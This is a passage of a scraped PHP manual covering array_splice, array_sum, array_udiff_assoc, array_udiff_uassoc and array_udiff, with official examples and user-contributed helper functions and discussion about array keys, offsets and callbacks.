echo $sid; /* prints out 1, since index element 1 is "myitem" */

Now, lets say we want to remove that "myitem" from the array:

<?php
$array_of_items = array_splice($array_of_items,(1+$sid),1);
?>

Notice how you have to add a one to the $sid variable?  That is because offset item 1 is "nothing" and since $sid is currently 1 (the index of "myitem"), we add 1 more to it to find out
 its OFFSET.

DO NOT DO THIS:
 $array_of_items = array_splice($array_of_items,$sid,1);
paule at cs dot tamu dot edu 12-Jun-2002 09:59
to kokos@lac.lviv.ua:

Good point about the code not doing what you expected.

The failure to check for the insert case like you pointed out is not a bug, however. I didn't add code to handle that because the key of such an added index is more or less undefined in an unordered associative array. Put another way, if your array is associative and not auto-indexed, you most likely care enough about your keys to want to set them explicitly.
kokos at lac dot lviv dot ua 08-Jun-2002 02:55
To paule@cs.tamu.edu :
Sorry, but the fix will still not work properly - when $length=0 (e.g. trying to insert one value) the
   $new_array[$key]=$replacement;
would be immediately followed by
   $new_array[$key]=$value;
and the $replacement will be lost.

What i was trying to point out in my original post is that $input[$x]=$y is NOT equivalent to array_splice($input, $x, 1, $y) . The equivalence mentioned would be true ONLY when $input is <... ghmm... > "automatically enumerated", having its' keys exactly matching offsets of corresponding elements in the array. But, in general case, keys do not match offsets - perhaps this should be explicitly stated in the Description above.
paule at cs dot tamu dot edu 06-Jun-2002 11:21
Aiya, I feel silly. The fix for my code above assumes that your values in the associative array are strings. Ignore the fix code in my last post and use this instead:

<?php
                if(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
                elseif($replacement!==NULL)
                    $new_array[$key]=$replacement;
?>

Sorry again. I feel sheepish.  n.n
paule at cs dot tamu dot edu 06-Jun-2002 11:09
After reading KoKos' post above, I thought that the code I posted right before his should do what he wanted. However, my original post neglected to note the little "Tip" in the documentation above, about a single element replacement.

If one changes the lines in my code above that says:

<?php
                if(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

to instead say:

<?php
                if(is_string($replacement))
                    $new_array[$key]=$replacement;
                elseif(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

that will solve the problem.

Sorry for the omission.
kokos at lac dot lviv dot ua 06-Jun-2002 08:26
It may seem obvious from the above posts, but cost me a bit of
braindamage to figure this out...

Contrary to the equivalence noted on this page
$input[$x] = $y   <==>   array_splice ($input, $x, 1, $y)
array_splice() will not always work as expected,
even provided that you have only INTEGER keys!

The following code:
   $t=array('a','b','c','d','e');
   var_dump($t);

<?php
   unset($t[0],$t[1],$t[3]);
   $t[0]='f';
   var_dump($t);

   array_splice($t,0,1,'g');
   var_dump($t);
?>

Will produce:
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
}
array(3) {
  [2]=>
  string(1) "c"
  [4]=>
  string(1) "e"
  [0]=>
  string(1) "f"
}
array(3) {
  [0]=>
  string(1) "g"
  [1]=>
  string(1) "e"
  [2]=>
  string(1) "f"
}

Note the position of $t[0] in the second call to var_dump().
And of course, array_splice() left it intact, changing $t[2] instead.
This is because it operates the _offset_, not the _index_.  :)
I think that "equivalence note" should be considered buggy.  ;)))

Best wishes.
KoKos.
paule at cs dot tamu dot edu 26-May-2002 07:02
I believe the following is a version of array_slice that solves most of the issues for people that want an associative key offset, rather than an integer.

<?php
function key_array_splice(&$input, $key_ofs, $length=NULL, $replacement=NULL)
{
    // Adjust the length if it was negative or not passed
    if($length===NULL || $length<0)
        $count = $length+count($input);

    // Cycle through the array
    foreach($input as $key=>$value){
        if(!$key_found){
            if($key===$key_ofs){
                $key_found=true;
                if($length!==NULL && $length>=0)
                    $count=$length;
                if(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
            }else
                $new_array[$key]=$value;
        }
        if($key_found){
            if($count>0)
                $ret_array[$key]=$value;
            else
                $new_array[$key]=$value;
        }
        $count--;
    }

    // Finish up
    $input=$new_array;
    return $ret_array;
}
?>

Note that this code needs PHP 4 for the use of the "===" and "!==" operators.
jrhardytwothousandtwo at yahoo dot com 14-Feb-2002 11:54
A reference is made to INSERT'ing into an array here with array_splice, however its not explained very well.  I hope this example will help others find what took me days to research.

<?php
$original_array = array(1,2,3,4,5);
$insert_into_key_position = 3;
$item_to_insert = "blue";

$returned = array_splice($original_array, $insert_into_key_position, 0, $item_to_insert);

// $original_array will now show:

// 1,2,3,blue,4,5
?>

Remember that you are telling the array to insert the element into the KEY position.  Thus the elements start with key 0 and so on 0=>1, 1=>2, 2=>3, 3=>blue, 4=>4, 5=>5.  And walla, you've inserted.  I can't say if this is of any value for named keys, or multidimensional arrays.  However it does work for single dimensional arrays.

$returned should be an empty array as nothing was returned.  This would have substance if you were doing a replace instead.
leingang AT math DOT rutgers DOT edu 15-Jan-2002 07:32
array_splice resets the internal pointer of $input.  In fact, many array functions do this.  Caveat programmor!
array_slice
array_sum
Array Functions


Calculate the sum of values in an array

array_splice
array_udiff_assoc
Array Functions
PHP Manual

array_sum

(PHP 4 >= 4.0.4, PHP 5)

array_sum — Calculate the sum of values in an array

Description

number array_sum ( array $array )

array_sum() returns the sum of values in an array.

Parameters

array

The input array.

Return Values

Returns the sum of values as an integer or float.

Changelog

Version | Description
4.2.1 | PHP versions prior to 4.2.1 modified the passed array itself and converted strings to numbers (which most of the time converted them to zero, depending on their value).

Examples

Example #1 array_sum() examples

<?php
$a = array(2, 4, 6, 8);
echo "sum(a) = " . array_sum($a) . "\n";

$b = array("a" => 1.2, "b" => 2.3, "c" => 3.4);
echo "sum(b) = " . array_sum($b) . "\n";
?>

The above example will output:

sum(a) = 20
sum(b) = 6.9

User Contributed Notes

igz dot dwd dot 20 at gmail dot com 15-Oct-2011 03:02
As mysql_fetch_array returns associative and numeric indexes, you can simply use a flag.

<?php
$result = mysql_query("SELECT id, name FROM mytable");
$row = mysql_fetch_array($result, MYSQL_NUM);
array_sum($row);
?>

Hope it helps.
davidcairngorm at gmail dot com 03-Sep-2011 04:37
If the array is a result from mysql_fetch_array, it contains every value twice and the sum will be double.
pligor at facebook dot com 01-Jun-2011 12:12
There was a case where I had a complex array, multi-dimesional and non-symmetric (not all elements of a sub-array were arrays themselves)
Although all the leaf elements of this array were numbers. In case you have two variables like that and you wanted to add all the values of the right variable to the left then you would need a function like below.

This is a recursive function which adds the values of two multidimensional arrays with the same key structure:

<?php
function multiDimArrayAdd(& $left, $right)    //created by George Pligor
{
    if(is_array($left) && is_array($right))
    {
        foreach($left as $key => $val)
        {
            if( is_array($val) )
            {
                multiDimArrayAdd($left[$key], $right[$key]);
            }
            $left[$key] += $right[$key];
        }
    }
}
?>
uhehesh at gmail dot com 07-Jan-2011 02:21
<?php
function avrg()
{
 $count = func_num_args();
 $args = func_get_args();
 return (array_sum($args) / $count);
}
?>

This function calculates average of numbers given as arguments. Examples:
avrg(100, 200, 300) - returns 200.
avrg(5, 6) - returns 5.5.
avrg('foo') - returns 0.
Chris 17-Feb-2010 08:24
Average array values, ignoring zero values:

<?php
function array_average_nonzero($arr) {
   return array_sum($arr) / count(array_filter($arr));
}
?>

<?php
$arr = array(1,2,3,0,0);
echo array_average_nonzero($arr); // returns 2
echo array_sum($arr) / count($arr); // returns 1.2
?>
hdeus at yahoo dot com 06-Oct-2008 07:01
Here is how you can multiply two arrays in the form of matrixes using a bit of matrix algebra (M*M).
By calling the function multiplyMatrix, you will be multiplying two sparse matrixes (zeros need not be included in the array for the operation to be performed).

<?php
$M = array(
0=>array(1=>1,4=>1),
1=>array(2=>1,3=>1),
3=>array(1=>1),
4=>array(5=>1),
5=>array(6=>1)
);

$M1 = multiplyMatrix($M, $M); //multiplying $M by itself

echo '<pre>';print_r($M1);echo '</pre>';

function multiplyMatrix($M1, $M2)
    {
#Helena F Deus, Oct 06, 2008
##Multiply two matrixes; $M1 and $M2 can be sparse matrixes, the indexes on both should match
        if(is_file($M1)) {$matrix1 = unserialize(file_get_contents($M1));}
        else $matrix1 = $M1;

        #transpose M2
        $M2t = transpose($M2);

        foreach ($M2t as $row=>$tmp) {
            ##sum the result of the value in the col multiplied by the value in the vector on the corresponding row

                foreach ($M1 as $row1=>$tmp1) {

                    $multiply[$row1] = array_rproduct($tmp,$tmp1);

                    if(!$multiply[$row1]){
                          exit;
                        }
                }

                foreach ($multiply as $row1=>$vals) {

                    $sum[$row][$row1]=array_sum($vals);
                }

        }

    $r=transpose($sum);

    return ($r);
    }

function transpose($M)
{
foreach ($M as $row=>$cols) {

            foreach ($cols as $col=>$value) {
                 if($value)
                 $Mt[$col][$row]=$value;
            }
        }
        ksort($Mt);

return ($Mt);
}

function array_rproduct($a1, $a2)
{

    foreach ($a1 as $line=>$cols) {
        $a3[$line] = $a1[$line]*$a2[$line];
        foreach ($a2 as $line2=>$cols2) {
            $a3[$line2] = $a1[$line2]*$a2[$line2];
        }
    }
    ksort($a3);

    return ($a3);

}

?>
c dot heckemueller at befestigungsfuchs dot de 05-Sep-2008 01:30
<?php
/**
 * sum values in array
 *
 * @param array $arr
 * @param string [optional]$index
 * @return int result
 */
function array_sum_key( $arr, $index = null ){
    if(!is_array( $arr ) || sizeof( $arr ) < 1){
        return 0;
    }
    $ret = 0;
    foreach( $arr as $id => $data ){
        if( isset( $index )  ){
            $ret += (isset( $data[$index] )) ? $data[$index] : 0;
        }else{
            $ret += $data;
        }
    }
    return $ret;
}
?>

With this function you can choose whether you sum specific keys in a multidim array, or a normalized array. it is designed to not trigger errors if a key is not set.
superman1101 27-Aug-2008 11:29
To elaborate on djyb2003 at yahoo dot fr. His function can be converted to recursive, but i've made a smaller function to do so:

<?php

 function array_sum_all($array) {
   $func = create_function("&\$arr=0,\$key=0","static \$a=0; if(is_int(\$arr)) { \$a+=\$arr; } return \$a;");
   array_walk_recursive($array,$func);
   return $func();
 }

$tab = array(
                 0 => array ("val1" => 2,"val2" => 5),
                 1 => array ("val1" => 6,"val2" => 10),
                 "toto" => array ("val1" => 15,"val2" => 50)
                );
var_dump(array_sum_all($tab)); //This will output: int(88);
?>

hope this helps someone
djyb2003 at yahoo dot fr 29-Jan-2008 06:31
here is a function that can sum values like these :

$tab = array(
                 0 => array ("val1" => 2,"val2" => 5)
                 1 => array ("val1" => 6,"val2" => 10)
                 "toto" => array ("val1" => 15,"val2" => 50)
                );

sum_subarrays_by_key( $tab, "val1" );

the function will sum all values with "val1" key in tab subarrays.

function sum_subarrays_by_key( $tab, $key ) {

        $sum = 0;

        foreach($tab as $sub_array) {
            $sum += $sub_array[$key];
        }

        return $sum;

    }

it can be transformed to be recursive and do also all depths possible in an array.

Hope it can be usefull!
Coder 16-Aug-2007 04:10
A much simpler algorithm for array_sub():

<?php
  function array_sub($arr) {
    if (!is_array($arr) || count($arr) == 0) {
      return false;
    } else {
      // get first element
      $base = array_shift($arr);

      return $base - array_sum($arr);
    }
  }
?>

This will return the exact same results that didikdwi's version.

However, didikdwi's result depends on knowing what the first value is. When this likely bug is removed, the code is:

<?php
  function array_sub($arr){
    $temp = array_sum($arr);
    return ( $temp !== false ? -$temp : false );
  }
?>
didikdwi at gmail dot com 18-Jul-2007 06:48
This is a simple approach to subtract array, both indexed and associative.

  function array_sub($arr) {
    if (!is_array($arr) || count($arr) == 0) {
      return false;
    } else {
      // get first element
      $base = array_shift($arr);

      if (count($arr) == 1) {
        // If only one element, return its
        return $base;
      }

      foreach ($arr as $val) {
        $base -= $val;
      }

      return $base;
    }
  }

// example
$arr1 = array(3, 2, 3);
echo array_sub($arr1);   // Output: -2
$arr2 = array(3.5, 2, 3);
echo array_sub($arr2);   // Output: -1.5
$arr3 = array('a' => 3, 'b' => 2, 'c' => 3);
echo array_sub($arr3);   // Output: -2
herenvardo at gmail dot com 24-Nov-2006 03:28
I'm not sure if something similar already exists, but I needed it so I made it:
<?php
  /* Performs a pitagoric sum of the elements in $arr
   The pitagoric sum of a set of values is the square root of
   the sum of the sqare power of each value. So, for a, b, c
   it's sqrt(a^2 + b^2 + c^2) */
  /* If any element of $arr is an array itself, the array_sum
   will be used. Alternatively, the values could be used by
   recursion. Returns the integer part (floor) */
  function array_pitag_sum($arr) {
    if(is_array($arr) {
      $ret = 0;
      foreach($arr as $i) {
        if(is_array($i)) {
          $s = array_sum($i);
          $ret += $s*$s;
        } else {
          $ret += $i*$i;
        }
      }
      return floor(sqrt($ret));
    } else {
      return $arr;
    }
  }
?>
Tobias Schlemmer 27-Jul-2006 11:41
<?php
$array1 = array('1'=>'1','2'=>'2','3'=>'3');
$array2 = array(          '2'=>'1','3'=>'2','4'=>'3');
$array3 = array(                  '3'=>'1','4'=>'2','5'=>'3');
$array  = array_sum_values( $array1, $array2, $array3 );
print_r($array);

/**
 * Sums the values of the arrays be there keys (PHP 4, PHP 5)
 * array array_sum_values ( array array1 [, array array2 [, array ...]] )
 */
function array_sum_values() {
    $return = array();
    $intArgs = func_num_args();
    $arrArgs = func_get_args();
    if($intArgs < 1) trigger_error('Warning: Wrong parameter count for array_sum_values()', E_USER_WARNING);

    foreach($arrArgs as $arrItem) {
        if(!is_array($arrItem)) trigger_error('Warning: Wrong parameter values for array_sum_values()', E_USER_WARNING);
        foreach($arrItem as $k => $v) {
            $return[$k] += $v;
        }
    }
    return $return;
}
/* result:
Array
(
    [1] => 1
    [2] => 3
    [3] => 6
    [4] => 5
    [5] => 3
)
*/
?>
jodymickey at yahoo dot com 01-Jun-2006 08:23
In reference to KageKonjou's array_mode function...

If you only want to know the value in the array that occurs most (and not the number of times it actually occured), you can use this short function.  It also suffers from the same problem in that if there is more than one mode, it will return only one.
<?php
    function array_mode($array)
    {
        if(!is_array($array)) return false;
        asort(array_count_values($array));
        return array_pop($array);
    }
?>
Moslehi[atsign]Gmail[dot]com 17-Mar-2006 03:13
A simple example for numeric values :

<?PHP

function array_average($arr){
$sum = array_sum($arr);
$num = sizeof($arr);
echo $sum/$num;
}

$myarray = array(1,2,3,4);
array_average($myarray); // displays 2.5 as average of 1,2,3,4

?>

[Arash Moslehi]
darianlassan at yahoo dot de 04-Nov-2005 03:57
function array_avg(&$array)
{
  //**
    returns the average value of all array-values
    or false if no values in array (or not an array)
  **//

  if (!is_array($array) || count($array)==0)
    return false;
  else
    return array_sum($array)/count($array);
} // array_avg()

Please add this function to PHP.
mroach at mroach dot com 27-Sep-2005 01:06
I ran into a situation where I only wanted to sum elements of an array for certain keys. For that, I wrote this function

<?

function array_sum_by_key()
{
    $args = func_get_args();

    $arr = array_shift($args);

    $to_sum = is_array($args[0]) ? $args[0] : $args;

    $sum = 0;

    foreach ( $arr as $k=>$v ) {
        if ( in_array($k, $to_sum) ) {
            $sum += $v;
        }
    }

    return $sum;
}

$arr = array (
    'dog' => 1,
    'cat' => 2,
    'rat' => 4,
    'mat' => 8,
    'bat' => 16
);

echo array_sum_by_key($arr, 'dog', 'mat');

// Result: 9

?>

Alternatively, you can pass the keys to sum as an array

<?

$to_sum = array('dog', 'bat');

echo array_sum_by_key($arr, $to_sum);

// Result: 17

?>
KageKonjou at GMail dot com 12-Aug-2005 09:22
Not sure where else to put this, but I added something that determines the most commonly occuring item in an array.  Known Bugs: It will always return the first value if no mode are found, and the first mode found if more are found of same or lesser count.

<?php
function array_mode($array) {
 $count = array();
 foreach ($array as $item) {
  $count[$item]++;
 }
 $mostcommon = "";
 $iter = 0;
 foreach ($count as $k => $v) {
  if ($v > $iter) {
   $mostcommon = $k;
   $iter = $v;
  }
 }
 return array("mode" => $mostcommon, "count" => $count[$mostcommon]);
}
?>
punchto at hotmail dot com 15-Mar-2005 07:06
Microsoft Excel - SUMIF()

function sumif($array,$criteria,$sum_array){
  if(is_array($array) && is_array($sum_array) && trim($criteria)!= ""){
    $array_count = (count($array) < count($sum_array)) ? count($array):count($sum_array);
    for($i=0;$i<$array_count;$i++){
      if(ereg("^<",$criteria)){
        $value = ereg_replace("^<","",$criteria);
        $result += $array[$i] < $value ? $sum_array[$i]:0;
      }
      elseif(ereg("^>",$criteria)){
        $value = ereg_replace("^>","",$criteria);
        $result += $array[$i] > $value ? $sum_array[$i]:0;
      }
      else{
        $value = $criteria;
        $result += $array[$i] == $value ? $sum_array[$i]:0;
      }

    }
    return $result ? $result:0;
  }
}
adam at laural dot com dot au 01-Mar-2005 04:37
Here's a function to return the sum of a portion of an array:

function array_partial_sum($array, $start, $length){
    $new_array = array_slice($array, $start, $length);
    return array_sum($new_array);
}

$array = array(1, 2, 3, 4, 5);
print array_partial_sum($array, 0, 3);  // prints 6
ncheung at maine dot rr dot com 07-Feb-2005 06:02
For clarity, array indices containing boolean values such as TRUE and FALSE are added up as though they are 1 and 0 respectively.
mucello NOO SPAM @ weatherimages dOt org 22-Oct-2003 03:44
If you want to find the AVERAGE of the values in your array, use the sum and count functions together.  For example, let's say your array is $foo and you want the average...

<?php
$average_of_foo = array_sum($foo) / count($foo);
?>
mcrm at NOTNEEDIT dot freemal dot it 13-Aug-2003 09:40
Hi people, if someone is searching a function that works also with multimension array, i suggest this :

<?php
function cw_array_count($a) {
  if(!is_array($a)) return $a;
  foreach($a as $key=>$value)
     $totale += cw_array_count($value);
  return $totale;
}

$a[0][E][PS][P][a1]=1;
$a[0][E][PS][P][a2]=2;
$a[0][E][PJ][P][a2]=2;
$a[1][E][PS][E][a3]=3;

echo cw_array_count($a[0]);
// or
echo cw_array_count($a[0][E]);
?>

Bye, Bye.
R.Martina
drverieevil at REMOVEMEasenne dot org 30-Jul-2003 03:14
If some array elements arent integers, function will change them to integers (content of array will not change) type and then sum them.

Example:
<?php
$foo[] = "12";
$foo[] = 10;
$foo[] = "bar";
$foo[] = "summer";
echo array_sum ($foo); //same as echo "22";
?>
array_splice
array_udiff_assoc
Array Functions


Computes the difference of arrays with additional index check, compares data by a callback function

array_sum
array_udiff_uassoc
Array Functions
PHP Manual

array_udiff_assoc

(PHP 5)

array_udiff_assoc — Computes the difference of arrays with additional index check, compares data by a callback function

Description

array array_udiff_assoc ( array $array1 , array $array2 [, array $ ... ], callback $data_compare_func )

Computes the difference of arrays with additional index check, compares data by a callback function.

Note: Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using, for example, array_udiff_assoc($array1[0], $array2[0], "some_comparison_func");.

Parameters

array1

The first array.

array2

The second array.

data_compare_func

The callback comparison function.

The user supplied callback function is used for comparison. It must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

array_udiff_assoc() returns an array containing all the values from array1 that are not present in any of the other arguments. Note that the keys are used in the comparison unlike array_diff() and array_udiff(). The comparison of arrays' data is performed by using an user-supplied callback. In this aspect the behaviour is opposite to the behaviour of array_diff_assoc() which uses internal function for comparison.

Examples

Example #1 array_udiff_assoc() example

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    static function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }
}

$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_assoc($a, $b, array("cr", "comp_func_cr"));
print_r($result);
?>

The above example will output:

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

In our example above you see the "1" => new cr(4) pair is present in both arrays and thus it is not in the output from the function.

See Also

  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

There are no user contributed notes for this page.
array_sum
array_udiff_uassoc
Array Functions


Computes the difference of arrays with additional index check, compares data and indexes by a callback function

array_udiff_assoc
array_udiff
Array Functions
PHP Manual

array_udiff_uassoc

(PHP 5)

array_udiff_uassoc — Computes the difference of arrays with additional index check, compares data and indexes by a callback function

Description

array array_udiff_uassoc ( array $array1 , array $array2 [, array $ ... ], callback $data_compare_func , callback $key_compare_func )

Computes the difference of arrays with additional index check, compares data and indexes by a callback function.

Note that the keys are used in the comparison unlike array_diff() and array_udiff().

Parameters

array1

The first array.

array2

The second array.

data_compare_func

The callback comparison function.

The user supplied callback function is used for comparison. It must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

The comparison of arrays' data is performed by using an user-supplied callback : data_compare_func. In this aspect the behaviour is opposite to the behaviour of array_diff_assoc() which uses internal function for comparison.

key_compare_func

The comparison of keys (indices) is done also by the callback function key_compare_func. This behaviour is unlike what array_udiff_assoc() does, since the latter compares the indices by using an internal function.

Return Values

Returns an array containing all the values from array1 that are not present in any of the other arguments.

Examples

Example #1 array_udiff_uassoc() example

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    static function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }

    static function comp_func_key($a, $b)
    {
        if ($a === $b) return 0;
        return ($a > $b)? 1:-1;
    }
}
$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_uassoc($a, $b, array("cr", "comp_func_cr"), array("cr", "comp_func_key"));
print_r($result);
?>

The above example will output:

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

In our example above you see the "1" => new cr(4) pair is present in both arrays and thus it is not in the output from the function. Keep in mind that you have to supply 2 callback functions.

Notes

Note: Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using, for example, array_udiff_uassoc($array1[0], $array2[0], "data_compare_func", "key_compare_func");.

See Also

  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

aidan at php dot net 28-May-2004 10:06
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
array_udiff_assoc
array_udiff
Array Functions


Computes the difference of arrays by using a callback function for data comparison

array_udiff_uassoc
array_uintersect_assoc
Array Functions
PHP Manual

array_udiff

(PHP 5)

array_udiff — Computes the difference of arrays by using a callback function for data comparison

Description

array array_udiff ( array $array1 , array $array2 [, array $ ... ], callback $data_compare_func )

Computes the difference of arrays by using a callback function for data comparison. This is unlike array_diff() which uses an internal function for comparing the data.

Parameters

array1

The first array.

array2

The second array.

data_compare_func

The callback comparison function.

The user supplied callback function is used for comparison. It must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns an array containing all the values of array1 that are not present in any of the other arguments.

Examples

Example #1 array_udiff() example

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    static function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }
}
$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff($a, $b, array("cr", "comp_func_cr"));
print_r($result);
?>

The above example will output:

Array
(
    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )

)

Notes

Note: Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_udiff($array1[0], $array2[0], "data_compare_func");.

See Also

  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

b4301775 at klzlk dot com 15-Jun-2011 11:09
Quick example for using array_udiff to do a multi-dimensional diff

Returns values of $arr1 that are not in $arr2

<?php
$arr1 = array( array('Bob', 42), array('Phil', 37), array('Frank', 39) );

$arr2 = array( array('Phil', 37), array('Mark', 45) );

$arr3 = array_udiff($arr1, $arr2, create_function(
    '$a,$b',
    'return strcmp( implode("", $a), implode("", $b) ); ')
    );

print_r($arr3);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => Bob
            [1] => 42
        )

    [2] => Array
        (
            [0] => Frank
            [1] => 39
        )

)
1

Hope this helps someone
jared 07-Jul-2009 12:27
Note that php does the string conversion *before* sending the values to the callback function.
adam dot jorgensen dot za at gmail dot com 08-Oct-2008 06:51
It is not stated, by this function also diffs array1 to itself, removing any duplicate values...
grantwparks at gmail dot com 31-Dec-2007 07:15
Re: "convoluted"

I think the point being made is that array_udiff() can be used not only for comparisons between homogenous arrays, as in your example (and definitely the most common need), but it can be used to compare heterogeneous arrays, too.

Consider:

<?php
function compr_1($a, $b) {
    $aVal = is_array($a) ? $a['last_name'] : $a;
    $bVal = is_array($b) ? $b['last_name'] : $b;
    return strcasecmp($aVal, $bVal);
}

$aEmployees = array(
    array('last_name'  => 'Smith',
            'first_name' => 'Joe',
            'phone'      => '555-1000'),
    array('last_name'  => 'Doe',
            'first_name' => 'John',
            'phone'      => '555-2000'),
    array('last_name'  => 'Flagg',
            'first_name' => 'Randall',
            'phone'      => '666-1000')
    );

$aNames = array('Doe', 'Smith', 'Johnson');

$result = array_udiff($aEmployees, $aNames, "compr_1");

print_r($result);
?>

Allowing me to get the "employee" that's not in the name list:

Array ( [2] => Array ( [last_name] => Flagg [first_name] => Randall [phone] => 666-1000 ) )

Something interesting to note, is that the two arguments to the compare function don't correspond to array1 and array2.  That's why there has to be logic in it to handle that either of the arguments might be pointing to the more complex employee array.  (Found this out the hard way.)
Colin 02-Aug-2006 01:15
I think the example given here using classes is convoluting things too much to demonstrate what this function does.

array_udiff() will walk through array_values($a) and array_values($b) and compare each value by using the passed in callback function.

To put it another way, array_udiff() compares $a[0] to $b[0], $b[1], $b[2], and $b[3] using the provided callback function.  If the callback returns zero for any of the comparisons then $a[0] will not be in the returned array from array_udiff().  It then compares $a[1] to $b[0], $b[1], $b[2], and $b[3].  Then, finally, $a[2] to $b[0], $b[1], $b[2], and $b[3].

For example, compare_ids($a[0], $b[0]) === -5 while compare_ids($a[1], $b[1]) === 0.  Therefore, $a[1] is not returned from array_udiff() since it is present in $b.

<?
$a = array(
        array(
                'id' => 10,
                'name' => 'John',
                'color' => 'red',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
);

$b = array(
        array(
                'id' => 15,
                'name' => 'Nancy',
                'color' => 'black',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
        array(
                'id' => 40,
                'name' => 'John',
                'color' => 'orange',
        ),
);

function compare_ids($a, $b)
{
    return ($a['id'] - $b['id']);
}
function compare_names($a, $b)
{
    return strcmp($a['name'], $b['name']);
}

$ret = array_udiff($a, $b, 'compare_ids');
var_dump($ret);

$ret = array_udiff($b, $a, 'compare_ids');
var_dump($ret);

$ret = array_udiff($a, $b, 'compare_names');
var_dump($ret);
?>

Which returns the following.

In the first return we see that $b has no entry in it with an id of 10.
<?
array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    int(10)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(3) "red"
  }
}
?>

In the second return we see that $a has no entry in it with an id of 15 or 40.
<?
array(2) {
  [0]=>
  array(3) {
    ["id"]=>
    int(15)
    ["name"]=>
    string(5) "Nancy"
    ["color"]=>
    string(5) "black"
  }
  [3]=>
  array(3) {
    ["id"]=>
    int(40)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(6) "orange"
  }
}
?>

